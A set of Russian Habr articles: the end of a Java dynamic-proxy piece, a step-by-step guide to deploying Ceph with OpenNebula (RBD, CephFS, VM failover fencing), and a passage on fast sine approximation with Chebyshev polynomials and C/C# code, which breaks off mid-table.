@Override
public Object get(Object o, String property) {
return property + "Value";
}
}, "first", "second");
AnyType src = new AnyType();
AnyType dst = propertyJoiner.joinProperties(src);
assertEquals("firstValue", getProperty(dst, "first"));
assertEquals("secondValue", getProperty(dst, "second"));
assertEquals("anyPropertyValue", getProperty(dst, "anyProperty"));
}
}
```
###### Что под капотом?
Динамически создаются классы интерфейсов для добавочных свойств:
```
public interface FirstHolder{
Object getFirst();
}
public interface SecondHolder{
Object getSecond();
}
```
Динамически создается класс proxy, который наследует `AnyType` и реализует `FirstHolder` и `SecondHolder`.
Методы, определенные в `AnyType`, proxy перенаправляет к `src`, методы, определенные в `FirstHolder` и `SecondHolder`, перенаправляются в `PropertyExtractor`, который содержит логику вычисления добавочных свойств.
Таким образом мы получили возможность расширения представления, не меняя при этом код контроллеров и не засоряя сущности уровня хранения посторонними структурами и данными, не получая падения производительности из-за проблем с ленивой загрузкой.
Плата за это оказалась не очень велика: доступ к свойствам через прокси примерно в 150 раз медленнее, чем непосредственный. Это стоит учитывать при использовании инструмента.
Нагрузка нашего приложения была всего несколько запросов в секунду, за каждый запрос читалось максимум 50 сущностей (размер страницы), так что долей потерь в proxy можно было пренебречь.
Скачать код можно с [Google Drive](https://docs.google.com/file/d/0B5b3LGTun9xbTUZSbkVVZWw3THM/edit). | https://habr.com/ru/post/223971/ | null | ru | null |
# Настройка Opennebula с Ceph RDB, CephFS
Данная статья расскажет о том, как установить Ceph на несколько нод и установить Opennebula, а так же произвести интеграцию Opennebula с Ceph RDB, CephFS
**ВНИМАНИЕ !!!**
В продакшине не рекомендуется смешивать OSD ноды и ноды, где будет запускаться KVM машины
Ну... поехали....
**Вводная информация**
Для тестирования OpenNebula+Ceph было взято 6 серверов из них 3 монитора, две KVM ноды (тут мы будем запускать KVM машины, а так же OSD) и один сервер под управляющую ноду OpenNebula.
На серверах, где будет крутиться OSD был подготовлен отдельный раздел размером /dev/sdb: 320 GiB - для Ceph
Для простоты восприятия мы назовем хосты вот так
192.168.10.2 mon1
192.168.10.3 mon2
192.168.10.4 mon3
192.168.10.5 open-mgr (она же у нас будет ceph-admin)
192.168.10.6 kvm-node1
192.168.10.7 kvm-node2
Первое, что мы сделаем это **apt-get update**(и затем reboot) на всех серверах и конечно же проверим, что время у нас синхронизируется(проверим настройки ntpd.conf или chronyd.conf) и конечно проверим время на серверах.
**Развертывание Ceph:**
Заходим на сервер **open-mgr** и добавляем ключ репозитария (под пользователем root или можно через sudo)
`wget -q -O- 'https://download.ceph.com/keys/release.asc' | apt-key add -`
После успешного добавления ключа - добавляем репозитарий для ceph:
`echo deb https://download.ceph.com/debian-nautilus/ $(lsb_release -sc) main | tee /etc/apt/sources.list.d/ceph.list`Все команды будем запускать только на **open-mgr**
Уставливаем ceph-deploy
**apt updateapt -y install ceph-deploy**Теперь нам необходимо подобавить на всех серверах, где у нас будет крутиться ceph - добавить юзера **ceph-admin.**
Для этого нам необходимо запустить вот эти команды на каждом сервере и после проверить, что под юзером **ceph-admin** - можно выполнять команды sudo без ввода пароля:
`export USERPASS="нужен_сложный_пароль" - обычно я генерирую и длину пароля ставлю 32 символа
export USERNAME="ceph-admin"
sudo useradd --create-home -s /bin/bash ${USERNAME}
echo "${USERNAME}:${USERPASS}" | sudo chpasswd
echo "${USERNAME} ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/${USERNAME}
sudo chmod 0440 /etc/sudoers.d/${USERNAME}`
Возвращаемся на open-mgr и для генерации ssh-ключений проваливаемся в **ceph-admin**
**su - ceph-admin**и запускаем команду:
**ssh-keygen**
Создаем файлик /home/ceph-admin/.ssh/config со следующей конфиграцией
`Host kvm-node1
Hostname kvm-node1
User ceph-admin
Host kvm-node2
Hostname kvm-node2
User ceph-admin
Host mon1
Hostname mon1
User ceph-admin
Host mon2
Hostname mon2
User ceph-admin
Host mon3
Hostname mon3
User ceph-admin`
Копируем ключ на все сервера:
`for i in mon1 mon2 mon3 kvm-node1 kvm-node2; do
ssh-copy-id $i
done`
**Переходим к деплою ceph**.
Создаем директорию
**mkdir ceph-deploy** и переходим в нее
**cd ceph-deploy**
В данной директории будет храниться конфигурация для ceph.
Для инициализации мониторов нужно запустить команду:
**ceph-deploy new mon1 mon2 mon3**
Во время запуска может выдать ошибку:
`[ceph_deploy][ERROR ] RuntimeError: AttributeError: module 'platform' has no attribute 'linux_distribution'`Решается установкой новой версии ceph-deploy:
`pip3 install git+https://github.com/ceph/ceph-deploy.git`
Если в процессе инициализации никаких ошибок не произошло, то можно приступить к следующему шагу.
Установка необходимого софта для Ceph
`ceph-deploy install mon1 mon2 mon3 kvm-node1 kvm-node2`
Пройдет некоторое время и установка софта будет завершина
Теперь нужно начать инциализацию установки мониторов
`ceph-deploy mon create-initial`
и произвести деплой демонов
`ceph-deploy mgr create mon1 mon2 mon3`после добавить Metadata сервера
`ceph-deploy mds create mon1 mon2 mon3`
Копируем конфиг файлы и админ ключ на сервера
`ceph-deploy admin mon1 mon2 mon3 kvm-node1 kvm-node2`
Как я уже говорил ранее, на сервера **kvm-node1 kvm-node2**по разделу**/dev/sdb -**320GB
Поэтому запускаем простой скрипт для создание OSD:
`for j in kvm-node1 kvm-node2; do
ceph-deploy osd create --data /dev/sdb $j
done`
B проверяем здоровье нашего кластера
**ceph health**
У Вас будет парочка Warnings:
HEALTH\_WARN mons are allowing insecure global\_id reclaim; и о том, что у вас OSD < 3 (т.к. у нас тестовый кластер, то мы можем добавить еще один OSD, и диск, который по размеру меньше с сервер mon1)
`ceph-deploy osd create --data /dev/sdb mon1`
Для удобства мы запустим **Ceph Дэшборд**
Для этого на мониторах нужно установить пакет: ceph-mgr-dashboard на всех трех серверах mon1, mon2, mon3
`for j in mon1 mon2 mon3 do
ssh -t $j sudo apt install ceph-mgr-dashboard
done`
После чего на **open-mgr** запускаем
`sudo ceph mgr module enable dashboard
sudo ceph dashboard create-self-signed-cert
sudo ceph dashboard ac-user-create admin administrator -i /home/ceph/pass.txt`
Файл pass.txt - должен содержать пароль. Файл можно сразу удалить после создания пользователя.
После чего, можете попробовать открыть Dashboard
`https://192.168.10.2:8443`
На этом установка Ceph завершена.
Если, что-то пошло не так в процессе установки, то вы всегда можете удалить все и начать заново:
`ceph-deploy purge mon1 mon2 mon3 kvm-node1 kvm-node2
ceph-deploy purgedata mon1 mon2 mon3 kvm-node1 kvm-node2
ceph-deploy forgetkeysrm ceph.*`
**Установка OpenNebula FrontEnd**Заходим по ssh на сервер open-mgr и добавляем ключ репозитария opennebula:
`wget -q -O- https://downloads.opennebula.org/repo/repo.key | sudo apt-key add -`
Добавляем репозитарий OpenNebula
`echo "deb https://downloads.opennebula.org/repo/6.2/Ubuntu/20.04 stable opennebula" | sudo tee /etc/apt/sources.list.d/opennebula.list`
Обновляем пакеты и уставим **mySQL-сервер**
`sudo apt update
sudo apt -y install mariadb-server
и
sudo mysql_secure_installation`
После установки mySQL сервера, необходима создать юзера для подключения к mySQL:
`CREATE DATABASE opennebula;
GRANT ALL PRIVILEGES ON opennebula.* TO 'oneadmin' IDENTIFIED BY 'очень_сложный_пароль';
FLUSH PRIVILEGES;EXIT;`
Теперь ставим необходимые пакеты для **FrontEnd:**
`sudo apt install opennebula opennebula-sunstone opennebula-gate opennebula-flow`
И после установки ставим Руби-модули:
`sudo /usr/share/one/install_gems`
После уставноки всех модулей нужно настоить OpenNebula для работы с mySQL, для этого необходимо отредактировать файлик: **/etc/one/oned.conf** закомментировава строку связанную с sqllite и добавив
`DB = [ backend = "mysql",
server = "localhost",
port = 0,
user = "oneadmin",
passwd = "очень_сложный_пароль",
db_name = "opennebula" ]`
Создадим пароль для oneadmin (вход в WebUI).
`sudo su - oneadmin echo "oneadmin:ваш_пароль" > ~/.one/one_auth`
если на сервере стоит фаервол, то добавляем правило:
`sudo ufw allow proto tcp from any to any port 9869`
После чего включаем и запускаем сервисы:
`sudo systemctl start opennebula opennebula-sunstone sudo systemctl enable opennebula opennebula-sunstone`
Если Все сделано было правильно, то можно зайти на WebUI:
<https://192.168.10.5:9869>
**Установка OpenNebula KVM-Node**Заходим по ssh на сервера kvm-node1, kvm-node2 и добавляем ключ репозитария opennebula
`wget -q -O- https://downloads.opennebula.org/repo/repo.key | sudo apt-key add -`
Добавляем репозитарий **OpenNebula**`echo "deb https://downloads.opennebula.org/repo/6.2/Ubuntu/20.04 stable opennebula" | sudo tee /etc/apt/sources.list.d/opennebula.list`
Теперь на kvm-node1 и kvm-node2 нужно установить пакеты
`apt-get install opennebula-node-kvm openvswitch-switch`
После успешной установки нужно отредактировать файлик : **/etc/libvirt/libvirtd.conf**Установив следующие значения:
`unix_sock_group = "oneadmin"
unix_sock_rw_perms = "0777"`
После чего нам необходимо перезапустить сервисы:
`systemctl restart libvirtd.service libvirtd.socket`
Теперь вернемся на **open-mgr** и станем юзером oneadmin:
`sudo su - oneadmin`
и выполним команды:
`ssh-keyscan open-mgr kvm-node1 kvm-node2 >> /var/lib/one/.ssh/known_hosts`
`for j in open-mgr kvm-node1 kvm-node2 do
scp -rp /var/lib/one/.ssh $j:/var/lib/one/
done`
Проверьте, что Вы можете зайти на все сервера без пароля(по ключу).
**Добавление KVM-хоста**
Необходимо зайти [http://ip\_вашего\_сервера:9869](http://xn--ip__-73dblchtcb7i4acl8i:9869/) под учетной записью: oneadmin и перейти Infrastructure -> Hosts и нажать иконку с "+"
Укажите Тип : **KVM** и **IP сервера**. Нажмите на **Create** - если все было сделано верно - статус Хоста изменится на ON. Повторите это действие для второго сервера.
И так мы настроили Ceph и OpenNebula и осталось самое маленькое - сделать интеграцию этих двух продуктов. Делается это не так сложно(когда путь пройден):
Первое, что нам нужно, так это создать пул - и назовем мы его "one" это можно сделать либо из консоли либо через веб-интерфейс Ceph. Давайте сделаем это через Web-интерфейс. Зайдите под адресу:
[**https://mon1:8443/**](https://10.10.42.40:8443/)и зайдите юзером admin.
После чего перейдите в раздел Pool и нажмите Create:
Задайте значения для полей:
NAME: one,
Applications: rdb,
Pool type: replicated и укажите размер пула и нажмите: **Create Pool.**
Нужно немного подождать, чтобы пул создался и стал зелененьким. Теперь возращаем на сервер **open-mg**r и заходим в юзера **ceph-admin**:
Переходим в директори **ceph-deploy** и выполняем команду:
`ceph auth get-or-create client.oneadmin mon 'profile rbd' osd 'profile rbd pool=one' > /etc/ceph/ceph.client.oneadmin.keyring`
Создаем файлик ключ:
`cat /etc/ceph/ceph.client.oneadmin.keyring | grep key | awk '{print $3}' >> /etc/ceph/oneadmin.key`
Копируем оба файлика (/etc/ceph/ceph.client.oneadmin.keyring и /etc/ceph/oneadmin.key) на Kvm-node1, Kvm-node2
На KVM-node1 запускаем генерацию uuidgen и создаем файл sec.xml:
`значение\_uuid (результат uuidgen)
client.oneadmin строка из файла /etc/ceph/oneadmin.key`
Запускаем две команды:
`virsh secret-define --file sec.xml
virsh secret-set-value --secret UUID --base64 $(cat /etc/ceph/oneadmin.key)`
`UUID - результат uuidgen`
Cкопируйте этот файлик (sec.xml) и на вторую ноду и сделайте такие же действия:
`virsh secret-define --file sec.xml
virsh secret-set-value --secret UUID --base64 $(cat /etc/ceph/oneadmin.key)`
`UUID - результат uuidgen`
Проверьте, что необходимые изменения внесены:
`virsh secret-list`
Перезапустим сервис на обеих нодах:
`systemctl restart libvirtd.service`
Выполним команду:
`rbd ls -p one --id oneadmin` на обоих KVM нодах
Команда должна исполниться, **но так как ни чего пока не создано - вернутся пустая строка.**
И так теперь нам нужно создать System DataStore(тут хранится - контексты, конфига для VM) и Image DataStore (тут будет хранится образы VM). Очень Важно - если мы хотим HA, то нам нужно, чтобы System DataStore был shared. Для этого необходимо создать cephfs (я на это потратил если честно очень много времени).
Для создание ImageDS можно использовать простой конфиг:
Cоздайте файле image\_ds.conf
`NAME = "cephds"
DS_MAD = ceph
TM_MAD = ceph
DISK_TYPE = RBD
POOL_NAME = one
CEPH_HOST = "mon1:6789 mon2:6789 mon3:6789"
CEPH_USER = oneadmin
CEPH_SECRET = "secret"
BRIDGE_LIST = "open-mgr"`
**secret** = колонка UUID при выполнении команды **virsh secret-list**
Выполните : onedatastore create image\_ds.conf
Перейдиту в WebUI в раздел DataStores - там вы увидите cephds - проверьте, что размер раздела верный.
Теперь необходимо создать SystemDS, но уже shared. Для этого, как выше я написал нужно создать cephfs. Для этого достаточно испольнить команду
`ceph osd pool create cephfs-data
ceph osd pool create cephfs-metadata
ceph fs new cephfs cephfs-metadata cephfs-data`
Выдаем права foo - юзеру для работу с данным пулом
`sudo ceph auth get-or-create client.foo mon 'allow r' mds 'allow rw' osd 'allow rw pool=data' > /etc/ceph/ceph.client.foo.keyring`
Получаем ключ доступ для юзера foo:
sudo ceph auth get client.foo
Захраните полученный ключ в файле /etc/ceph/ceph.client.foo.secret и скопируйте его на **kvm-node1 и kvm-node2,open-mgr** в директорию /etc/ceph/
Теперь необходимо смонтировать данную FS:
Для этого, сначала копируем содержимое /var/lib/one/datastores/ в какой либо каталог (это на ноде open-mgr)
и монтируем
`mount -t ceph mon1:6789,mon2:6789,mon3:6789:/ /var/lib/one/datastores/ -o name=foo,secretfile=/etc/ceph/ceph.client.foo.keyring (это нужно сделать на open-mgr, kvm-node1, kvm-node2)`
Незабудьте добавить монтирование в **/etc/fstab.**Создайте файл ds\_shared.conf
`NAME = shared_system
TM_MAD = shared
TYPE = SYSTEM_DS`
и выполните `onedatastore create ds_shared.conf`
Проверьте, что ДатаСтор создался. Теперь давайте попробуем создать VM. Для начала нужно загрузить IMAGE Операционной системы - я использовать qcow2-image
Теперь необходимо создать Шаблон для VM - для этого перейдите в раздел Templates и нажмите плюсик, выберите **CREATE**
Указаываем название, тип виртуализации, размер памяти, CPU. После чего переходим в раздел Storage - и выбираем Image
Жмем Create (на данном этапе мы сетку не указываем, если сеть уже создана - то можно указать в разделе Network).
Наш Шаблон создался и теперь мы можем создать виртуальную Машину: Переходим в раздел Instances и кликаем VM - жмем на "+" и выбираем Шаблон
Указываем Имя и выбираем Deploy VM on Specific DataStore и выбираем shared\_system и жмем Create. Через некоторое время статус VM - станет **RUNNING**.
Теперь осталось самое вкусное - **это HA VM**, при падении хоста, где ранится VM - она должна смигрировать на другой хост и запуститься уже там.
По документации все выглядит легко и просто.. Нужно просто добавить HOOK на status: ERROR у хоста и все будет работать, на самом деле это не так. Первое, что нужно учитывать - должен быть shared сторадж - мы его создали, иначе получим ошибку, при падении хоста будет попытка скопировать данные с умершего сервера на новый по ssh - а это не возможно будет.
Второе нужно правильно настроить файл:
`/var/lib/one/remotes/hooks/ft/fence_host.sh`
Закомментируйте строку:
`echo ""Fence host not configured, please edit ft/fence_host.sh"" && exit 1`
И добавьте строку:
`fence_heuristics_ping --ping-count=2 --ping-good-count=2 --ping-maxfail=1 --ping-targets=$FENCE_IP -o off && exit 0`
После строк
`if [ -z "$FENCE_IP" ]; then
echo "Fence ip not found"
exit 1
fi`
**FENCE\_IP -** нужно задать в свойствах **Host**
сохраняем и ставим пакет:
`sudo apt install fence-agents -y`
Теперь посмотрим файл-HOOK "/usr/share/one/examples/host\_hooks/error\_hook"
`ARGUMENTS = "$TEMPLATE -m -p 2"
ARGUMENTS_STDIN = "yes"
COMMAND = "/var/lib/one/remotes/hooks/ft/host_error.rb"
NAME = "host_error"
STATE = "ERROR"
REMOTE = "no"
RESOURCE = HOST
TYPE = state`
тут изначаль p=5 - но я поставил 2. Это означает, что Хост будет проверян два раза в течении 120 сек - на состояние живой не живой.
Регистрируем наш HOOK:
`onehook create /usr/share/one/examples/host_hooks/error_hook`
для проверки `onehook list`
open-mgr:$ onehook list
`ID NAME TYPE
7 host_error state`
Все вроде бы сделано. Осталось проверить, работает ли миграция VM. Допустим, что ВМ у Вас запущена на kvm-node1. Заходим на kvm-node1 и блокируем весь траффик (я делал DROP для подсети, где расположены open-mgr).
Как только хост перейдет в состояние: ERROR
Запустить HOOK:
`[HOST 1][I] Hook launched - запуск хука
[HOST 1][I] hostname: kvm-node1- хост, который ушел в ERROR
[HOST 1][I] Wait 2 cycles. - ждем два цикла - p=2
[HOST 1][I] Sleeping 120 seconds. - спим 120 сек
[HOST 1][I] Fencing enabled - включаем механизм Fence
[HOST 1][I] Success: Powered OFF говорим - что машина OFF
[HOST 1][I] Fencing success
[HOST 1][I] states: 3, 5, 8
[HOST 1][I] vms: ["VMID"] - на этом этапе происходит миграция VM на другой хост
[HOST 1][I] resched VMID - запуск VM
[HOST 1][I] Hook finished`
Если зайти в Instances -> VM - то мы увидим, что VM перешла на другой хост.
Следующая статья, я очень надеюсь, будет о OneProvision | https://habr.com/ru/post/649741/ | null | ru | null |
# Как посчитать синус быстрее всех на хабре
[](https://habr.com/ru/company/ruvds/blog/584460/)
Несмотря на свою кажущуюся банальность, темы о вычислении синуса достаточно регулярно появляются на хабре. И каждый раз их авторы или делают сомнительные утверждения, или получают сомнительные результаты. Не в силах более терпеть, я тоже решил поучаствовать и внести свой, не менее сомнительный вклад в этот вопрос.
▍ Введение
----------
Существуют три основных подхода к аппроксимации функций многочленами:
**1. Разложение в ряд Тейлора:**
Наиболее простой, наиболее известный (потому что его проходят в школе) и наименее эффективный. По сути представляют собой аппроксимацию через конечное количество производных в отдельно взятой точке, откуда и следуют его недостатки — ошибка аппроксимации возрастает по мере удаления от этой точки, далеко не для всех функций быстро сходится, для некоторых функций не сходится вообще, для некоторых функций в некоторых точках не применим вообще.
**2. Метод наименьших квадратов:**
Чуть менее известный, более сложный, но и более эффективный. Его идея заключается в минимизации площади между функцией и её аппроксимирующим многочленом. Недостатком является тот факт, что из минимизации площади вовсе не следует минимизация максимальных отклонений — поэтому ошибка аппроксимации хоть и осциллирует, но всё равно имеет тенденцию возрастать на краях диапазона.
**3. Многочлены Чебышева:**
Ещё более сложный, наименее известный, но часто наиболее оптимальный метод. Оптимальность его проистекает из того, что ошибка распределена по всему диапазону и ограничение максимального отклонения задаётся by design. Сложность вытекает из того, что сначала нужно считать коэффициенты для каждого отдельного многочлена Чебышева через далеко не простые интегралы даже для простых функций (в частности, для синуса получаются функции Бесселя, которые далеко не в каждом калькуляторе присутствуют), а затем их пересчитывать для суммарного итогового многочлена с запасом по точности. К счастью, имея в своём распоряжении современные системы компьютерной алгебры, всё это можно сделать лёгким движением руки, даже не вникая особо глубоко в математические основы происходящего.
Следует заметить, что этими тремя методы аппроксимации вовсе не ограничиваются — можно и производные считать в нескольких точках, а не только в одной, и другие разложения в степенные ряды применять, и рациональные многочлены использовать (например, [аппроксимацию Паде](https://ru.wikipedia.org/wiki/%D0%90%D0%BF%D0%BF%D1%80%D0%BE%D0%BA%D1%81%D0%B8%D0%BC%D0%B0%D1%86%D0%B8%D1%8F_%D0%9F%D0%B0%D0%B4%D0%B5) и его вариации), а также различные варианты мини-макс алгоритмов.
▍ Подготовка
------------
Используя Wolfram Mathematica, определим функцию, возвращающую аппроксимирующий многочлен заданного порядка для произвольной функции:
**код ChebyshevApproximation для Mathematica**
`ChebyshevApproximation[n_, f_, x_] := N[Table[Integrate[
f ChebyshevT[k, x] (2/(\[Pi] Sqrt[1-x^2])), {x, -1, 1}], {k, 0, n}], 20] //
#[[1]]/2 + Sum[#[[k+1]] ChebyshevT[k, x], {k, 1, n}] & // Simplify`
Здесь точность полученных коэффициентов равна 20 десятичным знакам — для наших целей этого достаточно. Можно также задать отдельные реализации для чётных/нечётных функций, чтобы ускорить вычисления. Для нечётных функций она будет выглядеть как
**код ChebyshevOddApproximation для Mathematica**
`ChebyshevOddApproximation[n_, f_, x_] := N[Table[2 Integrate[
f ChebyshevT[k, x] (2/(\[Pi] Sqrt[1-x^2])), {x, 0, 1}], {k, 1, n, 2}], 20] //
Sum[#[[((k+1)/2)]] ChebyshevT[k, x], {k, 1, n, 2}] & // Simplify`
а для чётных как:
**код ChebyshevEvenApproximation для Mathematica**
`ChebyshevEvenApproximation[n_, f_, x_] := N[Table[2 Integrate[
f ChebyshevT[k, x] (2/(\[Pi] Sqrt[1-x^2])), {x, 0, 1}], {k, 0, n, 2}], 20] //
#[[1]]/2 + Sum[#[[((k+2)/2)]] ChebyshevT[k, x], {k, 2, n, 2}] & //
Simplify`
**Примечание**
В случае, если для выбранной функции аналитическое решение не находится, то можно использовать численное интегрирование, заменив Integrate наNIntegrate. Здесь ситуация осложняется тем, что на границах интервала (-1,1) подынтегральное выражение устремляется в бесконечность — что может потребовать дополнительную настройку параметров интегрирования, прежде всего увеличения точности вычислений и задания исключающих условий для аргумента. Также может потребоваться отбрасывание близких к нулю коэффициентов, являющихся результатом погрешности для чётных/нечётных функций.
**код NChebyshevApproximation для Mathematica**
`NChebyshevApproximation[n_, f_, x_] := N[Simplify[Table[
NIntegrate[f ChebyshevT[k, x] (2/(\[Pi] Sqrt[1-x^2])), {x, -1, 1},
WorkingPrecision ->30, Exclusions->x^2 == 1, MaxRecursion -> 25], {k, 0, n}] //
Map[Sign[#] Max[0, (Abs[#]-10^-20)] &, #] & //
#[[1]]/2 + Sum[#[[k+1]] ChebyshevT[k, x], {k, 1, n}] &], 20]`
▍ Начало
--------
Наиболее надёжный способ ускорить вычисление синуса — просто уменьшить степень аппроксимирующего многочлена, пожертвовав точностью. При использовании многочленов Чебышева количество верных знаков ориентировочно соответствует степени многочлена . Для примера возьмём 7-ю степень — её вполне достаточно для задач визуализации:
**код для Mathematica**
`f = Sin[x Pi/2];
p7 = ChebyshevApproximation[7, f, x]`
Получили многочлен:
Реально полученную погрешность можно увидеть, если вывести на график разницу между исходной функцией и этим многочленом:
**код для Mathematica**
`Plot[f - p7 // Evaluate, {x, -1, 1},
GridLines -> {(Range[10] - 5)/5, Automatic}, WorkingPrecision -> 20] // Quiet`
По графику видно, что на краях диапазона погрешность принимает максимальное значение. Это значит, что sin(90°) с таким многочленом будет равен не единице, а 0.999999414195269. Если важно, чтобы была именно единица — то для этого можно пойти на хитрость и немного расширить диапазон аппроксимации таким образом, чтобы отклонение на краях  стало близким к нулю. Значение этого «немного» (как множитель при аргументе синуса) будем находить итеративно через численный поиск корня ошибки (разницы между функцией и аппроксимирующим многочленом), наиболее близким к единице.
**код для Mathematica**
`p71 = Block[{z = 1, p},
Do[p = ChebyshevOddApproximation[7, Sin[x Pi/2/z], x] /. x -> x z // Simplify;
z *= (x /. FindRoot[(p-Sin[x Pi/2])==0, {x, 1}]), 5]; p]`
Результат:
Вот как теперь выглядит график отклонений:
Погрешность неизбежно выросла, но совершенно незначительно.
Чтобы получить полноценную функцию синуса, необходимы вспомогательные манипуляции для приведения аргумента к диапазону , учёта цикличности и симметрии. Для экспорта полученного многочлена в код нам также пригодятся вспомогательные (уже имеющиеся) функции: HornerForm — для преобразования многочлена к [схеме Горнера](https://ru.wikipedia.org/wiki/%D0%A1%D1%85%D0%B5%D0%BC%D0%B0_%D0%93%D0%BE%D1%80%D0%BD%D0%B5%D1%80%D0%B0), и CForm — для преобразования его к виду, традиционно используемого в си-подобных языках программирования.
**код экспорта для Mathematica**
CForm[HornerForm[p71] /. x^2 -> xx]
Сами функции будут выглядеть так:
**Версия для С#**
```
double Sin7(double x)
{
x *= 0.63661977236758134308; // 2/Pi
bool sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
if ((xf & 1) == 1)
x = 1 - x;
bool per = ((xf >> 1) & 1) == 1;
double xx = x * x;
double y = x * (1.5707903005870776 + xx * (-0.6458858977085938 +
xx*(0.07941798513358536 - 0.0043223880120647346 * xx)));
return sign^per ? -y : y;
}
```
**Версия для С/С++**
```
double Sin7(double x)
{
x *= 0.63661977236758134308; // 2/Pi
int sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
if ((xf & 1) == 1)
x = 1 - x;
int per = ((xf >> 1) & 1) == 1;
double xx = x * x;
double y = x * (1.5707903005870776 + xx * (-0.6458858977085938 +
xx*(0.07941798513358536 - 0.0043223880120647346 * xx)));
return sign ^ per ? -y : y;
}
```
В версии для C/C++ тип bool заменён на int — как показали измерения, компилятор в этом случае генерирует более эффективный код.
Здесь нужно сделать важное замечание. В целях оптимизации для получения целой части аргумента здесь используется не функция Floor(x), а приведение к целому типу (чтобы избежать вызова внешней библиотечной функции). Это приводит к тому, что аргумент не должен превышать максимальное для int значение, а именно 2147483647. Тип int можно заменить на long (а правильнее — на unsigned long), но в зависимости от платформы и компилятора это также может привести к замедлению кода. На достаточно больших значениях аргумента также возрастает погрешность из-за разности порядков у аргумента и периода . Подобные ограничения являются неизбежной расплатой за более быстрый код.
▍ Продолжение
-------------
При увеличении степени многочлена увеличивается количество вычислений и как следствие, накапливается дополнительная погрешность. Поэтому для близкой к double точности разумно разбить диапазон  на два и для каждого рассчитывать отдельный многочлен. Для левой части будем считать многочлен для , а для правой для  (косинус «переворачивается» для того, чтобы выкинуть постоянную константу, смещающую ошибку к центру, обеспечив таким образом равенство ). После получения таким образом многочленов нужно вернуть аргумент к исходному диапазону, пересчитав коэффициенты заменой . Опытным путём было установлено, что для достижения необходимой точности достаточно 13-ой и 12-ой степени (для синуса и косинуса соответственно):
**код для Mathematica**
```
fs4 = Sin[x Pi/4];
p13 = ChebyshevOddApproximation[13, fs4, x];
fc4 = 1-Cos[x Pi/4];
p12 = ChebyshevEvenApproximation[12, fc4, x];
Row[{CForm[(p13 /. x -> 2 x // HornerForm) /. x^2 -> xx] // Framed,
CForm[(p12 /. x -> 2 x // HornerForm) /. x^2 -> xx] // Framed}]
GraphicsRow[{
Plot[fs4 - p13 // Evaluate, {x, -1, 1},
GridLines -> {(Range[10] - 5)/5, Automatic},
WorkingPrecision -> 20, Background -> Hue[0.14, 0, 0.98]] // Quiet,
Plot[fc4 - p12 // Evaluate, {x, -1, 1},
GridLines -> {(Range[10] - 5)/5, Automatic},
WorkingPrecision -> 20, Background -> Hue[0.14, 0, 0.98]] // Quiet},
ImageSize -> Large, Spacings -> 5]
```
Графики ошибок:
Здесь ошибка для косинуса получилась чуть больше, чем у синуса — но это не имеет значения, потому что они всё равно замаскируются накопленными погрешностями при вычислении многочлена.
**Версия для C#**
```
double Sin13(double x)
{
x *= 0.63661977236758134308; // 2/Pi
bool sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
if ((xf & 1) == 1)
x = 1 - x;
bool per = ((xf >> 1) & 1) == 1;
double y;
if (x <= 0.5)
{
double xx = x * x;
y = x * (1.5707963267948965822 + xx * (-0.6459640975062407217 +
xx * (0.07969262624592800593 + xx * (-0.0046817541307639977752 +
xx * (0.00016044114022967599853 + xx * (-3.5986097146969802712e-6 +
5.629793865626169033e-8 * xx))))));
}
else
{
x = 1.0 - x;
double xx = x * x;
y = 1.0 - xx * (1.2337005501361513498 + xx * (-0.25366950789986513871 +
xx * (0.020863480734953519901 + xx * (-0.0009192599500952791151 +
xx * (0.000025200135454917479526 - 4.6552987291490935821e-7 * xx)))));
}
return sign^per ? -y : y;
}
```
**Версия для C/C++**
```
double Sin13(double x)
{
x *= 0.63661977236758134308; // 2/Pi
int sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
if ((xf & 1) == 1)
x = 1 - x;
int per = (xf >> 1) & 1;
double y;
if (x <= 0.5)
{
double xx = x * x;
y = x * (1.5707963267948965822 + xx * (-0.6459640975062407217 +
xx * (0.07969262624592800593 + xx * (-0.0046817541307639977752 +
xx * (0.00016044114022967599853 + xx * (-3.5986097146969802712e-6 +
5.629793865626169033e-8 * xx))))));
}
else
{
x = 1.0 - x;
double xx = x * x;
y = 1.0 - xx * (1.2337005501361513498 + xx * (-0.25366950789986513871 +
xx * (0.020863480734953519901 + xx * (-0.0009192599500952791151 +
xx * (0.000025200135454917479526 - 4.6552987291490935821e-7 * xx)))));
}
return sign ^ per ? -y : y;
}
```
Такая реализация уже почти соответствует точности большинству библиотечных реализаций, но всё равно уступает им по точности в несколько бит.
▍ Табличный метод
-----------------
Наивное представление о табличном методе состоит в том, что в таблице хранятся заранее вычисленные значения для узловых точек, а промежуточные значения получаются интерполяцией между ними. Заранее вычисленные значения действительно имеются, но промежуточные значения вычисляются не интерполяцией, а используя тригонометрические тождества:
где  и  берутся из таблицы, а  и  вычисляются через многочлены небольшой степени. Это даёт чуть большее предыдущего способа время выполнения, но из которого на вычисление собственно синуса приходится в 2 раза меньше времени.
Оптимальный размер таблицы n выбирается экспериментально, чтобы разница между функциями ,  и их аппроксимирующими многочленами выбранной степени не превышала заданной погрешности. Для 5-ой степени достаточно таблицы из 128-и значений, для 3-й потребуется уже 1024.
**код для Mathematica**
`With[{count = 128, n = 5, m = 6},
fs = Sin[x Pi/2/count];
ps = ChebyshevOddApproximation[n, fs, x];
fc = Cos[x Pi/2/count];
pc = ChebyshevEvenApproximation[m, fc, x];
Row[{CForm[(ps // HornerForm) /. x^2 -> xx] // Framed,
CForm[(pc // HornerForm) /. x^2 -> xx] // Framed}]
GraphicsRow[{
Plot[fs - ps // Evaluate, {x, -1, 1},
GridLines -> {(Range[10] - 5)/5, Automatic},
WorkingPrecision -> 20, Background -> Hue[0.14, 0, 0.98]],
Plot[fc - pc // Evaluate, {x, -1, 1},
GridLines -> {(Range[10] - 5)/5, Automatic},
WorkingPrecision -> 25, Background -> Hue[0.14, 0, 0.98]]
}, ImageSize -> 700, Spacings -> 5] // Quiet
]`
Графики ошибок для 5-ой (синус) и 6-ой (косинус) степеней:
Код для получения таблицы тоже предельно прост:
`With[{n = 128}, Table[N[Sin[x Pi/2], 18], {x, 0, 1, 1/n}]]`
**Результат:**
```
{0, 0.0122715382857199261, 0.024541228522912288, 0.0368072229413588323,
0.0490676743274180143, 0.0613207363022085778, 0.0735645635996674235,
0.0857973123444398905, 0.098017140329560602, 0.110222207293883059,
0.122410675199216198, 0.134580708507126186, 0.146730474455361752,
